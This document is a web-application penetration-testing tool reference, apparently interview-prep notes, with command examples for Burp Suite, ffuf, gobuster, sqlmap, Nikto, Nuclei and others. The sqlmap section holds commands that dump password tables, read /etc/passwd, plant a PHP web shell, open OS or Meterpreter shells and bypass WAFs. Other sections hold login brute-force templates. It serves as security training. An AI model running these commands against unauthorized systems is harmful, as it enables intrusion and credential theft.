Web Application Tools
Purpose
Deep reference for every major web application testing tool. Each section covers setup, core usage patterns, interview-relevant depth, and real workflow examples.
Burp Suite β Complete Reference
Burp Suite is the central tool for web application penetration testing. Know it deeply β interviewers at every level ask about it.
Setup and Configuration
# Start Burp Suite (Community or Pro)
java -jar burpsuite_community.jar
# or use the installed launcher
# Configure browser proxy:
# Firefox: Settings β Network Settings β Manual proxy
# HTTP Proxy: 127.0.0.1 Port: 8080
# Also proxy HTTPS: same settings
# Install Burp CA Certificate:
# Navigate to http://burpsuite in browser while proxy is active
# Download CA β Import into browser certificate store
# Firefox: Settings β Privacy β View Certificates β Import
# For mobile devices: configure device Wi-Fi proxy to attacker IP:8080
Proxy β Core Interception
Key controls:
- Intercept ON/OFF toggle (hotkey: I)
- Forward: send intercepted request (hotkey: F)
- Drop: discard intercepted request
- Action β Send to Repeater/Intruder/Scanner
Proxy history:
- Filter by host, method, status, MIME type, search string
- Right-click any request β Send to tool
- Ctrl+R = Send to Repeater
- Ctrl+I = Send to Intruder
Match and Replace (under Proxy Options):
- Auto-replace headers, cookies, or body content on every request
- Useful: replace User-Agent, add/modify auth headers globally
Repeater β Manual Testing
The most-used Burp tool. Send a request here, modify it, resend.
Workflow:
1. Intercept request in Proxy
2. Ctrl+R to send to Repeater
3. Modify request manually
4. Ctrl+Space or click Send
5. Inspect response
6. Repeat with modifications
Useful features:
- Inspector panel: parse and modify parameters visually
- Response rendering: switch between Raw/Pretty/Rendered/Hex
- Search in response: Ctrl+F
- History of all sends within the tab
- Save requests/responses for report evidence
Intruder β Fuzzing and Brute Force
Attack types:
- Sniper: One wordlist, one payload position (most common)
- Battering Ram: Same payload in all positions simultaneously
- Pitchfork: Multiple wordlists, one-to-one (usernames + passwords)
- Cluster Bomb: All combinations of all wordlists (exhaustive)
Setup:
1. Send request to Intruder (Ctrl+I)
2. Positions tab: mark payload positions with Β§markersΒ§
3. Payloads tab: load wordlist or set payload type
4. Options tab: set threads, grep for strings, configure redirects
5. Start Attack
Payload types:
- Simple list: load wordlist file
- Runtime file: read line-by-line during attack
- Numbers: numeric ranges (for ID enumeration)
- Dates: date ranges
- Brute forcer: character set + length (for PIN brute force)
- Null payload: repeat same request N times (race conditions)
Grep Match (Options tab):
- Flag responses containing specific strings
- "Invalid password" vs "Welcome" β identifies successes
Rate limiting (Community Edition throttle):
- Intruder is rate-limited in Community to ~1 req/sec
- Use Turbo Intruder extension for high-speed fuzzing
Scanner (Pro Only)
Passive scanning: always on β analyzes traffic passing through proxy
Active scanning: sends additional probes to find vulnerabilities
Active scan options:
- Right-click request β Scan
- Or use Dashboard β New Scan β enter scope
- Configure scan speed vs thoroughness tradeoff
- Review issues in Dashboard β Issues panel
Issue severity and confidence:
- High/Medium/Low severity
- Certain/Firm/Tentative confidence
- Always manually verify before reporting
Decoder
Functions:
- Decode/Encode: Base64, URL, HTML, Hex, Binary, Gzip, Zlib
- Hash: MD5, SHA-1, SHA-256, SHA-512
Workflow:
1. Highlight text in any Burp tool
2. Right-click β Send to Decoder
3. Select decode/encode operation
4. Chain multiple operations
Useful patterns:
- Double URL decode: detect double-encoding bypass attempts
- Base64 β JSON: decode JWT payload without external tools
Comparer
Use case: identify differences between two responses
- Compare response to authorized vs unauthorized request (access control)
- Compare error vs success response (timing/content differences)
- Compare original vs modified request responses
Method:
1. Right-click response β Send to Comparer
2. Send second item to Comparer
3. Click Compare β Words or Bytes
4. Highlighted differences shown
Target β Scope and Site Map
Scope management:
- Target β Scope tab β Add in-scope items
- Use regex for flexible scope: https://app\.example\.com/.*
- All other Burp tools respect scope settings
Site map:
- Builds automatically from proxy traffic
- Right-click host β Spider (crawl all discovered links)
- Filter by status code, MIME type, parameters
- Export for documentation
Key Burp Extensions (BApp Store)
Essential extensions every web tester should have:
Autorize
Purpose: Automated access control testing
How: Define a low-privilege session token; Autorize replays every
request through that token; flags when response differs from
high-privilege version (potential BOLA/BFLA)
Install: BApp Store β Autorize
Logger++
Purpose: Advanced request/response logging with filters
How: Logs all traffic with timestamps; filterable by any field;
export to CSV; essential for large engagements
JWT Editor
Purpose: JWT manipulation without external tools
How: Intercepts JWTs; decode/modify/re-sign in Burp;
supports none algorithm, key confusion attacks, embedded JWK
InQL
Purpose: GraphQL testing
How: Automatic introspection; generates queries for all types;
visual schema browser; integrates with Repeater/Intruder
JS Link Finder
Purpose: Extract API endpoints from JavaScript files
How: Scans all JS responses; extracts URLs and paths;
pastes into target scope for further testing
Param Miner
Purpose: Discover hidden HTTP parameters
How: Sends requests with guessed parameters; identifies
parameters affecting response (cache poisoning, hidden functionality)
Turbo Intruder
Purpose: High-speed fuzzing (bypasses Community rate limit)
How: Python-scriptable request engine;
1000s of requests/second; essential for race condition testing
HTTP Request Smuggler
Purpose: Detect CL.TE and TE.CL request smuggling
How: Sends timing-based and response-based detection probes;
automates what's tedious to do manually
HUNT
Purpose: Highlight parameters likely vulnerable to specific classes
How: Marks parameters named "id", "file", "url", "redirect" etc.
in the Proxy history; guides manual testing prioritization
ActiveScan++
Purpose: Extends active scanner with additional checks
How: Adds SSRF, SSTI, DNS rebinding, and other checks
the built-in scanner misses
Retire.js
Purpose: Identify known-vulnerable JavaScript libraries
How: Scans JS files against CVE database; flags outdated jQuery,
Angular, React, etc.
OWASP ZAP β Open Source Alternative
ZAP (Zed Attack Proxy) is a free, open-source web application scanner. Less powerful than Burp Pro but fully free and useful for automated scanning.
# Start ZAP
zaproxy
# or: owasp-zap
# CLI mode for automation
zap.sh -daemon -port 8080 -host 0.0.0.0 -config api.key=yourkey
# Spider and scan
zap-cli --api-key yourkey spider http://target.com
zap-cli --api-key yourkey active-scan http://target.com
zap-cli --api-key yourkey report -o report.html -f html
# Docker (CI/CD integration)
docker run -t owasp/zap2docker-stable zap-baseline.py -t http://target.com
docker run -t owasp/zap2docker-stable zap-full-scan.py -t http://target.com
Key ZAP features: - HUD (Heads Up Display): overlay in browser showing live alerts while browsing
-
Active scanner: automatically tests all discovered endpoints
-
Fuzzer: similar to Burp Intruder
-
Ajax Spider: crawls JavaScript-heavy SPAs (handles dynamic content better than basic spider)
-
OpenAPI/Swagger import: import API definition for structured scanning
-
Automation Framework: YAML-based automation pipeline integration
gobuster β Directory and DNS Brute Force
# Directory/file discovery
gobuster dir -u http://target.com \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
# With file extensions
gobuster dir -u http://target.com \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,html,txt,js,json,xml,bak,old,backup
# Ignore SSL errors (for self-signed certs)
gobuster dir -u https://target.com -w wordlist.txt -k
# Custom headers (with auth token)
gobuster dir -u http://target.com -w wordlist.txt \
-H "Authorization: Bearer token123" \
-H "Cookie: session=abc123"
# Increase threads (default 10)
gobuster dir -u http://target.com -w wordlist.txt -t 50
# Status code filtering (default shows 200,204,301,302,307,401,403,405)
gobuster dir -u http://target.com -w wordlist.txt -s "200,204,403"
# DNS subdomain brute force
gobuster dns -d example.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# VHost enumeration
gobuster vhost -u http://target.com \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain # appends .target.com to each word
# Output results
gobuster dir -u http://target.com -w wordlist.txt -o results.txt
Good wordlists by scenario:
Quick initial scan: /usr/share/seclists/Discovery/Web-Content/common.txt
Medium depth: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
API endpoint discovery: /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
PHP applications: /usr/share/seclists/Discovery/Web-Content/PHP.fuzz.txt
Parameters: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
ffuf β Fast Web Fuzzer
More flexible than gobuster β supports full request templating.
# Basic directory fuzzing
ffuf -u http://target.com/FUZZ -w wordlist.txt
# With extensions
ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt,.bak
# Parameter fuzzing (GET)
ffuf -u "http://target.com/page?FUZZ=value" -w params.txt
# Parameter value fuzzing
ffuf -u "http://target.com/page?id=FUZZ" -w /usr/share/seclists/Fuzzing/number-list-100.txt
# POST body fuzzing
ffuf -u http://target.com/login \
-X POST \
-d "user=FUZZ&pass=test" \
-H "Content-Type: application/x-www-form-urlencoded" \
-w usernames.txt
# JSON POST fuzzing
ffuf -u http://target.com/api/login \
-X POST \
-d '{"user":"FUZZ","pass":"test"}' \
-H "Content-Type: application/json" \
-w usernames.txt
# Multiple positions (pitchfork mode)
ffuf -u http://target.com/login \
-X POST \
-d "user=W1&pass=W2" \
-w usernames.txt:W1 \
-w passwords.txt:W2 \
-mode pitchfork
# Filtering responses (critical for reducing noise)
ffuf -u http://target.com/FUZZ -w wordlist.txt \
-fc 404 # Filter HTTP 404
-fs 1234 # Filter responses with exactly 1234 bytes
-fw 10 # Filter responses with exactly 10 words
-fl 20 # Filter responses with exactly 20 lines
-ft "Not Found" # Filter responses containing this string
# Match specific codes only
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,201,301,302,403
# VHost fuzzing
ffuf -u http://target.com/ \
-H "Host: FUZZ.target.com" \
-w subdomains.txt \
-fs 1234 # Filter default response size
# Recursive fuzzing
ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2
# Output
ffuf -u http://target.com/FUZZ -w wordlist.txt -o results.json -of json
sqlmap β SQL Injection Testing
# Basic detection
sqlmap -u "http://target.com/page?id=1"
# Specify injection parameter
sqlmap -u "http://target.com/page?id=1&name=test" -p id
# POST request
sqlmap -u "http://target.com/login" \
--data="username=admin&password=test"
# JSON POST
sqlmap -u "http://target.com/api/users" \
--data='{"id":1}' \
-H "Content-Type: application/json"
# From Burp request file (most reliable method)
# In Burp: right-click request β Save item
sqlmap -r request.txt
# With session cookie (authenticated testing)
sqlmap -u "http://target.com/profile?id=1" \
--cookie="session=abc123; csrf=xyz"
# Database enumeration
sqlmap -u "http://target.com/page?id=1" --dbs # List databases
sqlmap -u "http://target.com/page?id=1" -D target_db --tables # List tables
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --columns
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --dump
# Dump with specific columns
sqlmap -u "http://target.com/page?id=1" \
-D target_db -T users \
-C username,password,email --dump
# Specify DBMS (faster, avoids guessing)
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
sqlmap -u "http://target.com/page?id=1" --dbms=mssql
sqlmap -u "http://target.com/page?id=1" --dbms=postgresql
sqlmap -u "http://target.com/page?id=1" --dbms=oracle
# Injection technique selection
sqlmap -u "http://target.com/page?id=1" --technique=BEUSTQ
# B=Boolean, E=Error, U=UNION, S=Stacked, T=Time, Q=Inline
# WAF bypass with tamper scripts
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,between,randomcase,charunicodeencode
# Multiple tamper scripts (combine for better bypass)
sqlmap -u "http://target.com/page?id=1" \
--tamper="apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes"
# Stealth options
sqlmap -u "http://target.com/page?id=1" \
--random-agent \ # Random User-Agent
--delay=2 \ # 2-second delay between requests
--level=1 \ # Minimal tests (1-5, default 1)
--risk=1 # Minimal risk (1-3, default 1)
# OS interaction (if FILE or SYSTEM privilege)
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
sqlmap -u "http://target.com/page?id=1" --os-shell # Interactive OS shell
sqlmap -u "http://target.com/page?id=1" --os-pwn # Meterpreter shell via SQLMap
# Second-order injection
sqlmap -u "http://target.com/profile" \
--second-url="http://target.com/display_profile"
Common tamper scripts explained:
space2comment β SELECT/**/username (bypass space filters)
between β a BETWEEN b AND b (bypass = operator filters)
randomcase β SeLeCt (bypass case-sensitive keyword filters)
charunicodeencode β Unicode encoding of characters
base64encode β Encodes payload in Base64
equaltolike β = becomes LIKE (bypass = filters)
Nikto β Web Server Scanner
# Basic scan
nikto -h http://target.com
# HTTPS
nikto -h https://target.com -ssl
# Specific port
nikto -h http://target.com -port 8080
# With authentication
nikto -h http://target.com -id admin:password # HTTP Basic
nikto -h http://target.com -C "session=abc123" # Cookie
# Scan specific directory
nikto -h http://target.com/app
# Tuning (select check categories)
nikto -h http://target.com -Tuning 1 # Interesting files
nikto -h http://target.com -Tuning 2 # Misconfiguration
nikto -h http://target.com -Tuning 3 # Information disclosure
nikto -h http://target.com -Tuning 4 # XSS
nikto -h http://target.com -Tuning 8 # Command injection
nikto -h http://target.com -Tuning 9 # SQL injection
nikto -h http://target.com -Tuning b # Software identification
# Output formats
nikto -h http://target.com -o results.html -Format htm
nikto -h http://target.com -o results.xml -Format xml
nikto -h http://target.com -o results.txt -Format txt
nikto -h http://target.com -o results.csv -Format csv
# Multiple hosts
nikto -h hosts.txt
# Via proxy (through Burp)
nikto -h http://target.com -useproxy http://127.0.0.1:8080
What Nikto checks: - Outdated server software versions
-
Default files and installation scripts
-
CGI vulnerabilities
-
SSL/TLS configuration issues
-
HTTP methods (PUT, DELETE, TRACE enabled)
-
Directory indexing enabled
-
Misconfigured robots.txt
-
Backup and config files (
.bak,.old,config.php~) -
Default credentials on common applications
Nuclei β Template-Based Scanning
# Install / update
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update
nuclei -update-templates
# Scan with all templates (broad but slow)
nuclei -u https://target.com
# Specific severity
nuclei -u https://target.com -severity critical,high
# Specific template categories
nuclei -u https://target.com -t cves/ # CVE checks
nuclei -u https://target.com -t exposures/ # Exposed files/configs
nuclei -u https://target.com -t misconfiguration/ # Misconfigs
nuclei -u https://target.com -t technologies/ # Tech fingerprinting
nuclei -u https://target.com -t vulnerabilities/ # Vulnerability checks
nuclei -u https://target.com -t default-logins/ # Default credentials
nuclei -u https://target.com -t exposed-panels/ # Admin panels
# Multiple targets
nuclei -l urls.txt -t cves/ -severity critical
# With authentication
nuclei -u https://target.com \
-H "Authorization: Bearer token123" \
-H "Cookie: session=abc123"
# Rate limiting (be responsible)
nuclei -u https://target.com -rate-limit 50 -concurrency 10
# Output
nuclei -u https://target.com -o results.txt
nuclei -u https://target.com -json -o results.json
# Custom template example (YAML):
cat > custom_check.yaml << 'EOF'
id: custom-api-key-exposure
info:
name: API Key Exposed in Response
severity: high
tags: exposure,apikey
requests:
- method: GET
path:
- "{{BaseURL}}/config"
- "{{BaseURL}}/api/config"
- "{{BaseURL}}/.env"
matchers:
- type: regex
regex:
- "api[_-]?key['\"]?\s*[:=]\s*['\"]?[a-zA-Z0-9]{20,}"
part: body
EOF
nuclei -u https://target.com -t custom_check.yaml
wfuzz β Web Fuzzer
Older tool but still useful, especially for complex fuzzing scenarios.
# Basic directory fuzzing
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt \
http://target.com/FUZZ
# Filter 404s
wfuzz -c -z file,wordlist.txt --hc 404 http://target.com/FUZZ
# POST fuzzing
wfuzz -c -z file,usernames.txt \
-d "username=FUZZ&password=test" \
http://target.com/login
# Multiple payload positions
wfuzz -c -z file,users.txt -z file,passes.txt \
-d "user=FUZ1Z&pass=FUZ2Z" \
http://target.com/login
# Filter by response size
wfuzz -c -z file,wordlist.txt --hh 1234 http://target.com/FUZZ
# Filter by word count
wfuzz -c -z file,wordlist.txt --hw 10 http://target.com/FUZZ
# With headers
wfuzz -c -z file,wordlist.txt \
-H "Authorization: Bearer token123" \
http://target.com/api/FUZZ
curl β Command-Line HTTP Testing
# Basic GET
curl http://target.com
# HTTPS (ignore cert errors)
curl -k https://target.com
# Verbose (show request + response headers)
curl -v http://target.com
# Headers only
curl -I http://target.com
# Custom headers
curl -H "Authorization: Bearer token" \
-H "Content-Type: application/json" \
http://target.com/api
# POST request
curl -X POST http://target.com/login \
-d "username=admin&password=test"
# JSON POST
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}'
# With cookies
curl -b "session=abc123; csrf=xyz" http://target.com/dashboard
# Follow redirects
curl -L http://target.com
# Save response to file
curl -o response.html http://target.com
# Test specific HTTP methods
curl -X PUT http://target.com/resource -d '{"key":"value"}'
curl -X DELETE http://target.com/resource/42
curl -X OPTIONS http://target.com -v 2>&1 | grep Allow
# Upload file
curl -F "file=@payload.php" http://target.com/upload
# Through proxy (Burp)
curl -x 127.0.0.1:8080 -k http://target.com
# Show only response code
curl -o /dev/null -s -w "%{http_code}" http://target.com
Recommended Wordlists (SecLists)
# Install SecLists
apt install seclists
# or
git clone https://github.com/danielmiessler/SecLists /usr/share/seclists
# Key wordlist locations:
/usr/share/seclists/Discovery/Web-Content/
common.txt # Quick common paths
directory-list-2.3-medium.txt # Standard directory scan
directory-list-2.3-big.txt # Comprehensive (slow)
api/api-endpoints.txt # API endpoint discovery
api/objects.txt # API object names
burp-parameter-names.txt # HTTP parameter names
PHP.fuzz.txt # PHP-specific paths
CGIs.txt # CGI scripts
/usr/share/seclists/Discovery/DNS/
subdomains-top1million-5000.txt # Top 5000 subdomains
subdomains-top1million-20000.txt # Top 20000 subdomains
/usr/share/seclists/Passwords/
Leaked-Databases/rockyou.txt.tar.gz # RockYou (must extract)
Common-Credentials/10k-most-common.txt # Top 10000 passwords
/usr/share/seclists/Fuzzing/
number-list-100.txt # Numbers 1-100 (ID fuzzing)
special-chars.txt # Special characters
LFI/
LFI-Jhaddix.txt # LFI payloads